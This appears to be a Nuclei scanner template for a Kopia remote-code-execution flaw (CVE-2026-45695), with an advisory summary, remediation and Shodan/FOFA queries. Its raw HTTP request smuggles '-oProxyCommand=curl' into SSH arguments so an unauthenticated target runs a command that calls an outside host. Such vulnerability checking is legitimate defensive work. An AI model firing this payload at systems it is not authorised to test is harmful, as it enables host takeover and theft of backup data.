When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.\n  impact: |\n    An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.\n  remediation: |\n    Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.\n  reference:\n    - https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3\n    - https://github.com/kopia/kopia/pull/5354\n    - https://orca.security/resources/blog/kopia-backup-rce-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-45695\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-45695\n    epss-score: 0.0161\n    epss-percentile: 0.76031\n    cwe-id: CWE-88\n  metadata:\n    max-request: 1\n    vendor: kopia\n    product: kopia\n    shodan-query: http.favicon.hash:952466528\n    fofa-query: icon_hash==\"952466528\"\n  tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/repo/exists HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"storage\":{\"type\":\"sftp\",\"config\":{\"path\":\"/{{rand_base(6)}}\",\"host\":\"127.0.0.1\",\"port\":22,\"username\":\"{{rand_base(6)}}\",\"externalSSH\":true,\"sshArguments\":\"-oProxyCommand=curl${IFS}{{interactsh-url}}\"}}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'unable to open SFTP storage'\n          - 'error\":'\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - 'User-Agent: curl'\n# digest: 4a0a00473045022100e4a10e11f022c68f443ec3ec933bc8cdc43fcf696017a745bca03ddbb42f9a81022032f447869c8020c57855e3f21b8569a70d27fcb7c1f81562754026ab4782e0e8:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-45695"}
